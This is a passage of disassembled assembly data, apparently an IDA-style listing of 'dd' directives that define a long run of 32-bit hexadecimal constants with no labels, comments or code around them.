		dd 22D2048Ch, 4084A0D8h, 93F0ACDCh, 180CD1E8h, 902878A5h
		dd 781CB1DCh, 1863203h,	88550741h, 0E076AC3Eh, 0A0999C4Dh
		dd 83282294h, 0D22FB255h, 46746h, 29B24CDCh, 0D8054516h
		dd 1B086B0Ch, 0D6785080h, 0F04005A0h, 814A236Fh, 10D8659Ch
		dd 508C5701h, 9079D0EDh, 24C4650h, 39CCDA46h, 10E9311Bh
		dd 0EEDD2E24h, 4158031Ah, 56AB9E84h, 0E4B4848Dh, 5E54F86Ch
		dd 74035BECh, 0C55131A3h, 3F6E989Fh, 5D8B47Ch, 0B08AE71Ch
		dd 74005674h, 3D976AA0h, 0A07D684Eh, 7E362ED0h,	2260B22Ah
		dd 0A81631F7h, 3C472D5Dh, 0E0B32F19h, 5EF6A84Bh, 1ABA28E2h
		dd 88F701DCh, 9C7402D6h, 0EA698076h, 292E0E7Dh,	1C20E9BAh
		dd 0C15F0130h, 42480CE4h, 0CCABE96Ah, 7373F9A0h, 0CB7DFA0Eh
		dd 0C030CFD4h, 0C1388865h, 0CA450064h, 0DF9C79A2h, 4F1EA340h
		dd 3000A171h, 0EC782F20h, 1DE000F6h, 50D926Dh, 0CB0075FBh
		dd 0AD7406CCh, 0BA226h,	0A1B162B9h, 3FB4E36Ah, 2A7F55E8h
		dd 0CCE10E01h, 6E2F5D67h, 3CD8D2D2h, 0AC5047C2h, 5EF89451h
		dd 12001046h, 0B6916368h, 7613E343h, 54120C74h,	2DB6C60h
		dd 154D3F47h, 9D12B80h
		dd 0BC8C9C7Bh, 5D271890h, 2248233Ch, 1E682BFh, 3DC10287h
		dd 314C54h, 6AA64447h, 0B6DFB664h, 0F0467638h, 9BF90176h
		dd 8CA90E89h, 7AD86854h, 9C13F72Ch, 31ED215Eh, 0B8891380h
		dd 4C4E54F8h, 6D019807h, 1E3B6353h, 48BC6C83h, 0EDB41C44h
		dd 0D83DB8F2h, 22E4638h, 0E0545C2Ch, 17103159h,	615C14F0h
		dd 88CB5065h, 0F5D93075h, 0C410F689h, 0A5174F00h, 6E9B643h
		dd 416E002Bh, 0F8E637F3h, 49D35358h, 9BF1008Dh,	7209D062h
		dd 6063AA64h, 64688CA1h, 0A1FB640h, 7F02B340h, 4855054h
		dd 0DA456049h, 133925CDh, 27002C16h, 4BFEDD2Dh,	6E69E42h
		dd 0A4E721A1h, 735260D1h, 30EAE228h, 833C7D38h,	0CE3C12D6h
		dd 0FF2264A0h, 2C24EFF1h, 90F4543Fh, 0A5DE0147h, 0E0ECA903h
		dd 61AC64D0h, 0B0E2B15h, 0D2470580h, 8840A420h,	0AE18440h
		dd 2D5E7CFBh, 0D0AEE41Eh, 406E3C03h, 0D5747001h, 59F812D0h
		dd 0D38F4838h, 533CD097h, 211281B8h, 0CCC80B2Eh, 0F9A11FDFh
		dd 0F3C46A3h, 0FF0BE03Eh, 23AF1E38h, 0C45E23F4h, 470088EDh
		dd 666796F2h, 2B25084Fh, 0EDA00B4Ah, 1ABC0DCh, 0C400E7C9h
		dd 0CCB6DB0Ch, 10901Fh,	0ADE12F11h, 5E5044A2h, 9E143A48h
		dd 0D760EC45h, 64D39C05h, 0EBF214B3h, 4FF7FD30h, 3C882156h
		dd 0C0F2A2Ah, 311C84DAh, 252164A4h, 20406087h, 0DB0FE16Eh
		dd 99050B0Dh, 8095E958h, 0C894801Ch, 76222D0Bh,	0DE802065h
		dd 0AB97B21Eh, 14EBEC27h, 0DC04B1F8h, 409FDA84h, 0FF8405B6h
		dd 263F2C1Bh, 14923D98h, 821C4034h, 13EDD29h, 0B5525907h
		dd 8208C61h, 959C5C80h,	7A562420h, 7828201Dh, 0A70B2CDEh
		dd 0CA9AD496h, 870C4B8h, 0D620EC74h, 19BC3E0Ch,	12BD0E97h
		dd 0C1E036F4h, 8AF9CE24h, 8618D304h, 14815CA4h,	1FE5B84Eh
		dd 0F8254469h, 80519424h, 1A7BCB92h, 32549000h,	3B3102D2h
		dd 0CFD1297h, 574C03B7h, 7802E1D0h, 28A7BAB0h, 80466D3h
		dd 0EE40BF02h, 0D3FE6E0Eh, 0F223902Fh, 25A8ED16h, 85337101h
		dd 4A41E6A1h, 3203C424h, 0A4DF9030h, 12E04C00h,	871FB12Bh
		dd 5CD3E81Ah, 3082CC20h, 3CD005A4h, 0E021D219h,	86C5319h
		dd 0C086DAC1h, 54E8501Ch, 0F8328722h, 5C3F101Eh, 0FAEE80A4h
		dd 19552FAAh, 252DE000h, 638FB376h, 3F961D84h, 0A5B9C24Eh
		dd 50E64A9Dh, 0E3391B1Ch, 5CC13680h, 4ED53BB3h,	0AB982C49h
		dd 5432D889h, 5165CA00h, 9C67694Dh, 15A9BA0Ch, 0A80FE0C7h
		dd 0A92123F0h, 86D48318h, 1FFB02F9h, 1E4EE01Ch,	0E545FCD0h
		dd 1EFF1930h, 2BEA88Ch,	1F8D6FEBh, 5D5BA0F8h, 0DAD2A800h
		dd 412CF53h, 2BE7E139h,	525CC027h, 98BC57F8h, 0D44E4740h
		dd 6EB080F7h, 0E8BBAE02h, 0DA7381C0h, 0FAD4264h, 229862B7h
		dd 584A64D8h, 0EC63E824h, 0C1E76366h, 0D9010DC2h, 0D7F2EF0Ch
		dd 0ECEC54C6h, 53053D41h, 0A0929300h, 3772EEEh,	0B7523A00h
		dd 0B550AF3Fh, 7A4DB8A3h, 0D0C24CD1h, 9BCE3E80h, 0C0024A13h
		dd 955D70E8h, 39D0513Dh, 8025DF2Dh, 6824E4D8h, 0ECC04DE8h
		dd 0C8A25590h, 0E3C70562h, 0A2D2DEBAh, 4C6E0808h, 0A4F80705h
		dd 0BA2E420Dh, 4E4E4C5h, 8F34BC60h, 0B8FA6FF2h,	9612B177h
		dd 6420C0F5h, 1B91C2ABh, 0C0BECA76h, 30587AE2h,	465C0CBCh
		dd 952D0E0Bh, 386800C0h, 90A011A4h, 2F6D1258h, 88B8A34Ch
		dd 4201CF56h, 3C4510B7h, 12144C68h, 0A84144DFh,	5BFB392Dh
		dd 0E0903180h, 832B916Ah, 7F006670h, 338B1EDh, 26F8697h
		dd 31BF3C2Fh, 3C933047h, 0D490587Fh, 5891A202h,	58ED79B0h
		dd 31421830h, 5B576125h, 465C6CB4h, 0D56601E5h,	3812C0B8h
		dd 0F8F29B31h, 0E7EB2274h, 0CC3276FEh, 0C26218E6h, 78A051B0h
		dd 178631EDh, 50E677Dh,	0D1382DF8h, 0E6E8AF4Ch,	30E2B801h
		dd 820F1826h, 89E94E5Bh, 16612CD1h, 0B3405C2Ah,	4C806E27h
		dd 75805034h, 20AFB70h,	982B11Ch, 0D7AE2B00h, 0AC1118h
		dd 0EAD953EFh, 0F2186BAh, 18585744h, 9837D264h,	1B089C76h
		dd 25D696B3h, 46434E5h,	0F02B3B61h, 12004BFFh, 20445DB8h
		dd 41D774D2h, 82A86956h, 72284Eh, 22E1B758h, 0BCB45F26h
		dd 38CCDF93h, 0F871402Fh, 0F497E8B6h, 1E8D86B0h, 0EFEC7B3h
		dd 24805D76h, 42E5680Eh, 64EB2104h, 0ACD3D846h,	3CB0B0BDh
		dd 0B85858FFh, 4812C900h, 0E71CD3FBh, 1447820h,	64E67156h
		dd 209674E0h, 40CFA78Ch, 140E46DAh, 505D6390h, 5ED36DE2h
		dd 6E53C00Eh, 0B5926FB7h, 6F6600A4h, 3C06D69Bh,	8CB9241Eh
		dd 6E2301D8h, 60E5AE57h, 0EE021CA8h, 9CA18053h,	0F8805098h
		dd 6C90A9D0h, 4ADAC0h, 3AD4CC6Eh, 0CB544473h, 941DB301h
		dd 0B64E3DB9h, 6F535980h, 18F47583h, 882CE648h,	5C25C037h
		dd 2121E04Bh, 2D176003h, 5B007D5Ch, 6FBB2B44h, 0B031E560h
		dd 32392094h, 4A440098h, 0A9BE6040h, 0D92E685Ch, 50779112h
		dd 8E3BA004h, 0DABD04ACh, 28EF930h, 0DE6CF8CCh,	2FC34594h
		dd 401019C1h, 485F02BCh, 9C3FE1C0h, 2E572EA7h, 41A827EDh
		dd 0A7E2B02Bh, 44946750h, 300860D1h, 0A8805D86h, 9B7C503h
		dd 47E256D3h, 72CA10E9h, 8CDB4A1Ch, 0FAC53981h,	0B3F98046h
		dd 1C36F083h, 2D1903DFh, 0FBE4237Fh, 9909DEC6h,	85FCE8D4h
		dd 6C53E07Ch, 0EEC8A88Ah, 4C6F56C0h, 19F7195h, 3F64DC8Ah
		dd 3B145576h, 0C7173C48h, 5773BCDh, 5CF24625h, 30C51987h
		dd 0ED512E86h, 64931B4Bh, 40AAA853h, 0CA090BEAh, 44016249h
		dd 403F1EFBh, 0F72A2C60h, 34B14726h, 0D366D90Eh, 72AFF891h
		dd 12D39C24h, 1FEBDD64h, 6A9D1FA8h, 37C409ECh, 48D1DA5Fh
		dd 6D180F79h, 4C5AC238h, 0FC4278h, 0C9F974B8h, 7C6D4975h
		dd 87E40035h, 0D9B79114h, 6B291713h, 571384Bh, 3C337218h
		dd 0A458D81Bh, 0E292A8F8h, 30D4B224h, 909836C7h, 0A2E65825h
		dd 7E82ABCh, 9DC8B28Fh,	2D597450h, 0EC3C17A4h, 7CD0AC25h
		dd 0E1C144h, 0D6DE72CBh, 2CFEC9D7h, 1D2DCC17h, 4051FC0Eh
		dd 0FEB400Bh, 554A0746h, 79A339CFh, 0AE450E5h, 509EEC60h
		dd 0AAC2D000h, 0D432C672h, 8C099F28h, 53600082h, 376E4F01h
		dd 2B4EAC26h, 320610E4h, 0DB4B7FC0h, 47053CD6h,	7E662661h
		dd 21E03882h, 0C25B3E09h, 35971CECh, 0E1EE00E8h, 0A83F28F9h
		dd 0E0163F98h, 2809500Dh, 0C45CE55Bh, 95E60D1h,	58521321h
		dd 30B090D8h, 0AF7256ADh, 28200098h, 8B124BFDh,	0C5F0C824h
		dd 0E5CC0086h, 0D7C6745Dh, 5302AF0Bh, 0F8DA3Fh,	6D9A131Bh
		dd 46BC4B80h, 588C3E4Ah, 0C2124BB8h, 7220D034h,	11824E0h
		dd 7D753AF1h, 0D9739F82h, 80032EE3h, 8A21DAD3h,	3220592Dh
		dd 28495D08h, 3565E128h, 7A182028h, 1CB81498h, 600C0295h
		dd 250CF850h, 60E2D023h, 0CAA25C64h, 361D7852h,	0CFC0F51Dh
		dd 12A85A9h, 0B9B87414h, 18F0D1D4h, 0A13A04AEh,	854DE3B1h
		dd 984C916Bh, 0ECF2D679h, 276D520h, 2190572Bh, 1CE8E0BFh
		dd 0BF703Fh, 477AF430h,	98B9480Bh, 61C48878h, 0A562961Bh
		dd 58E0A140h, 1E38EC50h, 1871D8E3h, 2184F0B4h, 8C0857DFh
		dd 0DD342D2h, 0BDC0100Ah, 2F1D9C60h, 942096C0h,	8F64D433h
		dd 0A0A4E94Dh, 6061B7h,	0EBC83B58h, 9D7439F3h, 31D0A602h
		dd 76FA184Eh, 0FDE48888h, 0C5699C2Ch, 60F2E4B8h, 0F39D340h
		dd 4F98B9E6h, 2034E548h, 9FE004E6h, 4D023E02h, 15980A08h
		dd 6BACE15Ch, 8C4AC820h, 0C2DA4402h, 590F4B39h,	2C26400Ch
		dd 9049DDDh, 0D98D6C92h
		dd 470BECBDh, 8EF664B3h, 1B18CC1Fh, 0B232C81h, 65301721h
		dd 780B7400h, 36064EECh, 37645E54h, 0E8F80029h,	0CB9C492Ah
		dd 0E41661B5h, 8CE32C21h, 8AC66204h, 0E91C809Bh, 0E6E8AA74h
		dd 33C0EECh, 0F7B20017h, 72060C3Eh, 12023A89h, 63087130h
		dd 2E196261h, 3D83E31h,	11CF0D0h, 9CFF411Bh, 0E021E69Eh
		dd 0E1E7DEBh, 33A28DAh,	94232AFAh, 310A62Dh, 0C991B6D2h
		dd 0F8C0A5E0h, 674A6B64h, 48E91C80h, 29FC51h, 0BD5FDD44h
		dd 0F338F1CCh, 0B819E4Ch, 48FB6139h, 41A9FE0h, 40030134h
		dd 893CF4B7h, 0DC76CD75h, 0BA3E47EAh, 29909CAFh, 83807D5Dh
		dd 0C22FD017h, 0D731C3E3h, 8AD038C0h, 8CC0DE29h, 32C593FBh
		dd 6AC701B4h, 8EA6D868h, 7D7065AAh, 763D16A0h, 0E862B101h
		dd 0A0E411C9h, 28E6002Ch, 2F9415D0h, 8D181F95h,	11B15CFBh
		dd 1A8A00BCh, 6ACB82C9h, 93D3CB8h, 0A82A007Dh, 0BA20D3Fh
		dd 5A79BDh, 61D04D30h, 0BCD2B399h, 0E4E13827h, 983B00E8h
		dd 96939B0h, 3E3C0EF0h,	4B10287h, 0D422FEB6h, 0F1544050h
		dd 7600FB29h, 9D17705Eh, 3DF3742h, 221ADE5h, 10D04128h
		dd 0C600F074h, 0B047CCE6h, 1BB2586h, 0FF2F82E4h, 0D49567B6h
		dd 290B7BDAh, 13E8830h,	7F644749h, 4EBDCC40h, 0E0F700EBh
		dd 15DF7708h, 1C075306h, 0E479EC0Fh, 0C413BE47h, 0F177C10Ch
		dd 0A508A0D2h, 609A15EDh, 0E8B4315Dh, 50609F1Bh, 305F5E10h
		dd 4804ACAFh, 10608967h, 6B1FFBE5h, 0BF216360h,	6D850DCh
		dd 69F3F043h, 0F430090Ah, 0EC1F2024h, 0C5790353h, 0EE68B434h
		dd 0D1361900h, 6AD7CCEAh, 79410021h, 1DF5C60Bh,	0F000DA0Ch
		dd 0BC4A4543h, 0C0DB0D7Eh, 626A989h, 29006698h,	81CDB738h
		dd 391062E1h, 97A8D250h, 8CE80658h, 116AB4D5h, 6FB5BE00h
		dd 0C4764844h, 80DF3390h, 2100AC08h, 66F3D9Fh, 0FEF958DDh
		dd 0A9BE61E9h, 87D90D7Fh, 854D7459h, 80EDE0B3h,	0A35A55h
		dd 99E27C6Ah, 0DD57F5C7h, 4F94CB00h, 5885E868h,	0FBDB1529h
		dd 0DD80981Ch, 0D843D550h, 0F222F043h, 53714A7Eh, 48904501h
		dd 0DC84F464h, 418A7DDDh, 80CC1757h, 370D58A9h,	0CD0093B4h
		dd 28990E8Fh, 7DD67Fh, 4B84AC02h, 112B8B32h, 0FCE95C60h
		dd 3EFE0C0Bh, 3A2EAD66h, 5950214Eh, 0C618F4h, 1D3D7B76h
		dd 0C5B42065h, 0B65D40h, 0E7F8548h, 886E865Ah, 0AD76C203h
		dd 72F64F0h, 2A46D0B9h,	0BF41B2ABh, 0C7D19CC0h,	211D6130h
		dd 2A19F2h, 8D4E6F83h, 48A6ADB7h, 64F9411Ch, 5F84007Ch
		dd 4B859167h, 2CFA0120h, 4506331h, 0FD45093h, 0C70FA201h
		dd 320F716h, 0E31E9F2Ch, 0D6210008h, 0B88DA1FAh, 71072BA4h
		dd 0CFF1EE87h, 0A08F6872h, 0F82FD784h, 0F8F8956Ah, 5B0D1100h
		dd 0A5365D88h, 689F6C5h, 3CE2F2F0h, 8B0930FCh, 2A856AB1h
		dd 0E0114044h, 476FA680h, 448C7E48h, 3A3F9E93h,	3D5D006Fh
		dd 28B4774Bh, 2A26EA25h, 8C1564h, 0B0B8245Bh, 0FB52BEC8h
		dd 6F289500h, 4FEEEC0Dh, 4D7D00C5h, 45633A09h, 860C3432h
		dd 608BFBB6h, 0E6E30362h, 0DD3EADD5h, 7A77509Eh, 23CC58F3h
		dd 0A37E2A3Fh, 141129h,	192A1AE3h, 0C0ABB1DCh, 3C9538B9h
		dd 7D1D4189h, 3500B511h, 0F79D685Ah, 661300BAh,	0CBBCF8Ah
		dd 0A60A8525h, 0E455C944h, 8A4864B8h, 0A58DFE02h, 4F70E044h
		dd 90B28E18h, 0F874F211h, 62100E85h, 0E5842B8Dh, 0D6F4888Ch
		dd 6FA8028Ch, 0D00E47FDh, 0B49C0016h, 6931466Fh, 61C3DE0Dh
		dd 8898CF7Ah, 0AEC9BF6h, 928F4B11h, 0A5511E8h, 842D45ADh
		dd 7FC39080h, 28D8061Fh, 34B42B31h, 3A908D0Fh, 9723FCh
		dd 0A6F1CA32h, 867BB3A4h, 7C91A806h, 0F9A10DA9h, 2A059C42h
		dd 776011E8h, 0E882652Ah, 31940D30h, 6C648h, 592A15F9h
		dd 17621310h, 632E9CA0h, 40E24684h, 4814498Ch, 0B09CC8AEh
		dd 196F50A0h, 480FD9A4h, 0FE198069h, 0DFCDB088h, 6598A1ABh
		dd 73E28027h, 0D0A7C5E3h, 84A96596h, 0A68DD50Ah, 484184AEh
		dd 2023FDC9h, 0BA41AD31h, 8F2FCC75h, 2CF17F00h,	0FAF3E0DBh
		dd 82D202A3h, 22658B59h, 61E6E0A1h, 947F4D0h, 0F086F500h
		dd 8C4B346Fh, 0ADFCF5F6h, 62CA2408h, 83EF1190h,	0DAB42A45h
		dd 10163119h, 52A1CE5h,	0B26D94AEh, 494049Fh, 39B7078Ch
		dd 591E6610h, 21589823h, 0DB810CAEh, 0C711E1A1h, 0D0880418h
		dd 76A11DECh, 5C0AC029h, 0C24032B3h, 8863C326h,	84AEB60Ah
		dd 0E07EA38Fh, 10D618E6h, 8F8E00FEh, 0F5C1634Ch, 21014B92h
		dd 2D49DC20h, 0FFEC96ADh, 0EA498ACh, 4C507075h,	46EC3D00h
		dd 266345AEh, 0C04E90D9h, 522D2B5Ah, 0AB12FC5Dh, 948A0FC6h
		dd 20F2AC81h, 3A62EC02h, 0CF01C49Bh, 0E716DDA1h, 0EC880718h
		dd 53A100F0h, 4CA6EF97h, 24B2C4B4h, 0DD88900h, 0EA12FBAEh
		dd 98DC037Ch, 0A88B4E47h, 4100D5E3h, 3274C023h,	714CB95Ah
		dd 94CF002Ch, 0A2DF6106h, 632B36C8h, 0FD01B4B4h, 0D711DBA1h
		dd 0EA880318h, 38A101D6h, 7643E5ABh, 7B5873A9h,	1442B800h
		dd 98EFDA01h, 349B0A9Fh, 0C95BEAh, 0BD1D07D0h, 6A01CD57h
		dd 0ACE4B7DCh, 98705D27h, 0C7028C46h, 0C843F750h, 10E819F1h
		dd 0EC53DF20h, 1047CCCh, 80F198D4h, 50250DADh, 5B95F9C8h
		dd 0AA609279h, 3B0914B9h, 0BFFA094Fh, 8A8A565h,	28A96094h
		dd 0AF000F5Ah, 0F2C46484h, 1FE479ADh, 0D23BBB59h, 4F4C4043h
		dd 0A45DD4AEh, 589338E0h, 40EC56BFh, 1651DC94h,	0DAA40CA0h
		dd 0EBEF88h, 0E0CAD4A1h, 75DFDC32h, 5B2B8813h, 0F6901C27h
		dd 0C8A524h, 0DC5A85EAh, 0C6797343h, 9C26FBEEh,	215EECD1h
		dd 0D4875EC1h, 3850C52Ah, 7ACC6ECh, 3C9BDC16h, 0A4187B7Bh
		dd 0F9073FE9h, 0A99F6091h, 1E36CAF0h, 0A7740053h, 4C236E24h
		dd 0C8A8B868h, 1800392Bh, 1A492E27h, 54026BF1h,	307D2C5Bh
		dd 68F9DF0Dh, 540C5721h, 4011716h, 0B4905E8h, 0C4C14F1Bh
		dd 6FD680B8h, 0D600FFA7h, 537BBD33h, 59ECEA5h, 0D80BCAF9h
		dd 0E7F8D3ABh, 5C628126h, 47CCED40h, 3C4C006Dh,	0F0AE7A66h
		dd 90003DC2h, 0E1F7330h, 4DC7EA25h, 242E0CBAh, 24501150h
		dd 440E862h, 9988B65h, 4186BE3Ah, 31BB2491h, 0B6F842A7h
		dd 0A800F0C4h, 0E386D6C4h, 76E0F7h, 0E8F6C8EAh,	52CCE7F4h
		dd 8DD9BE00h, 17C9E661h, 63FD3A50h, 0AC30ACAEh,	1C465EFCh
		dd 584F6500h, 0BB8ABF28h, 0E7DB0A0Eh, 73F4F595h, 2364B800h
		dd 0D98C37F6h, 8C85831h, 20903D8Bh, 0C200CB8Dh,	3AB520EDh
		dd 4A32BFE4h, 0A7204068h, 190C8F44h, 0DB7A5E00h, 5699055h
		dd 47AE0C98h, 0F729F541h, 8D7431F8h, 39FD6D00h,	56777EA9h
		dd 0D1B22C23h, 98465EA0h, 0C91DC003h, 0FCB0D284h, 0A89AF20Ch
		dd 23202500h, 3F632D3Ch, 2C5601BCh, 0EFAAF73Eh,	0B8B82CDAh
		dd 9F008CE6h, 2F5F4F09h, 1D29598h, 5BFDA3CAh, 501F6523h
		dd 0B13D37B8h, 0C76DD003h, 88389515h, 30345C01h, 2C1C4671h
		dd 8207AA49h, 0FE3B7E58h, 0B0D40170h, 0A7250128h, 1BDE6BA5h
		dd 4B2C2CFCh, 0FBE49F81h, 162B6185h, 66DC46C2h,	0E600C190h
		dd 72EB81FCh, 1CFB05B6h, 806E84F4h, 1A6F7CF8h, 0F8B8707Eh
		dd 4FC82806h, 0D9C568h,	45219804h, 0B9DEEF15h, 0E005FBE2h
		dd 0ABA47C8Dh, 8B2CFC40h, 0D7F2F6h, 0CE3CACAEh,	2E82D603h
		dd 39A78605h, 34C0027Fh, 6B64E2Ch, 0D6F38C5Eh, 0D00F026h
		dd 12B99F0Bh, 2C4D63DAh, 25B82BA7h, 6FD49C20h, 0C1022ED1h
		dd 0E3711112h, 8AF4810Dh
		dd 0E44473B4h, 0D984F8C5h, 0FCAE8004h, 3FD8C8h,	0CE53E3BDh
		dd 2D92E7E4h, 1F3CA400h, 0A85DC869h, 85440135h,	0E1EAC016h
		dd 3E48EC77h, 331A531Ch, 0EE2B000h, 0EBBB07h, 0F1B925DDh
		dd 0E9E7E61Dh, 7827D83Eh, 2C7918C0h, 2B7FFD0Dh,	61204BFEh
		dd 0E646D2h, 0FFDA8F4Ah, 32D4FD0h, 793D0A04h, 0DC00658Dh
		dd 0FD4E4308h, 0A6CDFEh, 83EC3722h, 0A9C907AEh,	20A5ED74h
		dd 54800218h, 83741BAh,	4F3B1214h, 8CCF80ECh, 7F0504BBh
		dd 65413D24h, 26781680h, 5381F293h, 1BFED9E8h, 4143915h
		dd 47086534h, 48B98042h, 0A0A135B8h, 71B50F0h, 0CC6F45D6h
		dd 718DF0F8h, 792854C4h, 6D57E8CDh, 0A816E004h,	76E7C2Fh
		dd 19B39F8Ch, 0F4AD0EFh, 7403EAE0h, 45CFA811h, 98A1DB16h
		dd 6F8F8DCDh, 8470298Eh, 0F042DD42h, 60218FAh, 20922487h
		dd 80CEAF29h, 3E88F3DCh, 125E8895h, 88978088h, 3F88F4A8h
		dd 85A898Bh, 0B49044C2h, 86A22284h, 40792660h, 73750Ch
		dd 0B6E945FBh, 0BF12DC9Dh, 0CCED4277h, 0B003E31h, 67B0608Bh
		dd 0EBB62FF7h, 44C360h,	47331FD9h, 18CB3B42h, 75146E01h
		dd 0A757EBD6h, 3591E0h,	300D6D0Bh, 2F96681Ch, 0ED592E00h
		dd 725A38E4h, 3FCA0050h, 0F46684C4h, 650033C9h,	360E81A1h
		dd 25797Fh, 13F14164h, 30806DC6h, 54EBF03h, 365C756h, 18649E1Ah
		dd 2FF328B2h, 74905ED0h, 0BFD0771Ch, 0B94F8780h, 4B9472h
		dd 0ED170E46h, 31EB0A8Fh, 2BA1DE03h, 0C0B77424h, 1D5532h
		dd 18D9FEE4h, 0B2FFB18Fh, 68C0DA09h, 0E086003Eh, 0E003726Eh
		dd 12C40733h, 0F55B91BEh, 796180B6h, 92607838h,	52AEC016h
		dd 86B704E2h, 0C5E30A99h, 7BDC8125h, 7A30204Eh,	3E8C1554h
		dd 2A7D0100h, 0E8E328E7h, 462B0034h, 8C80CF10h,	0C00029D7h
		dd 5E20A73h, 388A3ACh, 59E3FF61h, 5FD08294h, 4C0193F3h
		dd 9A818BA7h, 11822F1Eh, 0E3FE6E3Ch, 0CA145FE0h, 0DF4DD412h
		dd 0FB6F7001h, 0CFE884BCh, 75580FE7h, 4C803122h, 85EED694h
		dd 5F6B0D06h, 1D18243Bh, 6DAF5B8Eh, 657CCD58h, 950D50Ch
		dd 208F58E6h, 6C0EEA91h, 202DCF6Eh, 0EE8B051Ah,	79CC00E3h
		dd 89DD1E5h, 0AE00A917h, 0EFCA4B86h, 2348Ah, 5D90A60Ah
		dd 66B509FCh, 0EB4F7900h, 0D59247CAh, 0FE71D69h, 0DD3B80B9h
		dd 971AC440h, 0BAD4DC00h, 0E40E8055h, 71F10194h, 0ABE30BADh
		dd 1800DB3Ah, 0F285A7E5h, 7CCFEFCh, 0E43BDA57h,	9E6BC062h
		dd 3300D5F8h, 0DF91B718h, 1DA00E7Dh, 80F27915h,	8F4BBA71h
		dd 0C5003473h, 0E039B4B3h, 75315FF6h, 6E820A23h, 3AE453E2h
		dd 9DC17000h, 919A7B2Ah, 59898A03h, 90EFC2E1h, 3AAC0A75h
		dd 1E80B778h, 724A774Bh, 5700F2F4h, 0BC01437Ch,	566E23h
		dd 6FD810D1h, 74B7D42Eh, 9D000674h, 8FBB571Fh, 37BE628h
		dd 1D96F97Eh, 0D0E7E517h, 0EBC6BCE9h, 860D9A00h, 3ED812E1h
		dd 277856h, 0B2DD9A9h, 7897CF67h, 71D7BB00h, 5B2AC6F0h
		dd 8E891CFFh, 389F40D5h, 0E088DAA9h, 0F0456728h, 29910214h
		dd 35570020h, 0FE8DBF90h, 49E2002Bh, 0BD1E2866h, 0C100B41Dh
		dd 0BA84D543h, 0CD1727Dh, 0B2380F0Dh, 0D8004E48h, 0EDE3F476h
		dd 0E4AECA41h, 1490DBh,	0FBCF708Dh, 0F2FF29EAh,	0F6FE717Eh
		dd 0E4B1DCA0h, 68E68800h, 48B8C6F3h, 0B2C40090h, 18B0864Eh
		dd 0F6500CC7h, 79017CAAh, 0FA15023h, 4180EC99h,	192383Dh
		dd 6C905472h, 0E18A8300h, 8BE2C9A4h, 0A0FF002Ah, 0EA2BD34Dh
		dd 0EB30CC55h, 0D29CE852h, 0F33D0038h, 4C9837F4h, 1E00944Ah
		dd 904961D6h, 3E819C7h,	3FCC96B7h, 21C8932Ah, 0E61607C5h
		dd 1400320Ah, 97204D52h, 37490413h, 80D56302h, 0C361B2E0h
		dd 74DA4F00h, 0E2FD481Dh, 0EE4E02F8h, 2DE89159h, 9918B860h
		dd 7E01750h, 43A76700h,	9D5CC6EEh, 0DCB0094Dh, 30802EBEh
		dd 7B7DE1AEh, 71342A14h, 0B72800A4h, 86FEBFC6h,	0A8750176h
		dd 0D0131EF0h, 4AF9F023h, 0A6426700h, 47F7D92h,	0C5E809h
		dd 22276FB9h, 24890C38h, 5200B598h, 0E83F2B4h, 7D4509F5h
		dd 9B8800D4h, 0FF62344Eh, 0A07426Dh, 548201E8h,	0DAA3B260h
		dd 5380074Bh, 9090F8B1h, 0FB87D259h, 0F62ACB00h, 42C68493h
		dd 0FEF03104h, 409BCF20h, 87DC9CE8h, 0EC3D800h,	0EBD5E9A2h
		dd 4CB1000Ch, 597F82F0h, 0F1007914h, 9EBC2178h,	78BC9B7h
		dd 0FEB39737h, 1F310044h, 0A100582Eh, 7E75E3Ch,	0F6D309h
		dd 2A430C41h, 0CC765513h, 0CD241A00h, 8FFD3DC0h, 0D6F00080h
		dd 7779100Bh, 0E50087F7h, 88B0A664h, 12AF0127h,	474563h
		dd 0F140D2F0h, 4B000F69h, 5977E19Eh, 72B23109h,	7A8400CCh
		dd 1C07B03Ah, 30F11BF1h, 0E3078D7Ch, 97968C68h,	663E7030h
		dd 0C0A002E1h, 0CD043DB3h, 71A4F041h, 28845317h, 0D31B51B8h
		dd 215A970Eh, 0F86C062h, 1DCCF348h, 0DF365E22h,	0E91200EFh
		dd 59E435A9h, 489FEE00h, 0FBC4FE68h, 0F18C0E8h,	21281F6Ch
		dd 1C26F44Ch, 7801F14Ch, 671C2A22h, 6355F4h, 0BD5798D3h
		dd 0D5A41A03h, 52219A0Eh, 60BB07AFh, 73301FD7h,	39C51951h
		dd 100394Dh, 0A244E0C7h, 433E99B1h, 56D5816Ch, 0F80BC814h
		dd 162060E2h, 91770094h, 698E5F15h, 5174B99Ah, 0A45BE53Ch
		dd 0F500368Dh, 6CEFCB72h, 6E0B009Bh, 397F8FDEh,	1800FC50h
		dd 0C4F157C5h, 0B6E7ADh, 0F841A871h, 6C7BCA49h,	7793F900h
		dd 1D1C3587h, 139E008Fh, 0BA19E763h, 463A7C4Dh,	0CFA424D9h
		dd 2CCC8738h, 0A3A14E13h, 0E8435449h, 0B688B80Ah, 3FC30032h
		dd 231720Bh, 2500EA59h,	55106CEBh, 304DAF88h, 0DD401686h
		dd 5D00BDE4h, 0ED7F8B24h, 18E3EA9h, 0B4C8FA2Bh,	40C40335h
		dd 66D4FCE8h, 0EE80ACB1h, 4C22B5D0h, 7D1D033Dh,	6989FA58h
		dd 0CADB4FE0h, 0F78B3903h, 0F867A8EFh, 4C513Fh,	375C167Ah
		dd 0D86245F3h, 0F4C6E002h, 40F5AE93h, 39889EFAh, 7F1EABBFh
		dd 725A7289h, 42101060h, 0BCB8E8F0h, 0F902290Bh, 84E00C0h
		dd 7037FEF4h, 6DFD0371h, 0B09F047Ah, 8CB6D0A0h,	0C602D3E0h
		dd 0A26AE121h, 86646850h, 0CBFE0903h, 5CA0B1CEh, 0EE531473h
		dd 0E29E3900h, 0A5B7C97Eh, 868A4CDEh, 6441C700h, 0E7860E94h
		dd 96FA7500h, 0D961C376h, 9BA70CC8h, 0CCA8194Ah, 7B2BB916h
		dd 5D784820h, 0E5FF005Eh, 0B0B4849Bh, 0E23BAFC0h, 0A52C00A8h
		dd 7B3EE9DCh, 0CC9C0019h, 9A59A982h, 0B300EC8Ch, 0C45B4ADBh
		dd 3345F14h, 45BD69CBh,	31E0C57Fh, 9A7BB8F9h, 3711A80Bh
		dd 0D1407C3h, 0D513E4F0h, 10FA3Fh, 0C0317A49h, 0DD099804h
		dd 255B9900h, 0F66B9CE0h, 9BE90027h, 16EA47F4h,	0B4008D72h
		dd 415A2DF0h, 3E693Ah, 708AC51Bh, 363C60B8h, 0CD69000h
		dd 0B796E565h, 0FC11E0BDh, 0AE4D070Ah, 4048EB23h, 3EF3D158h
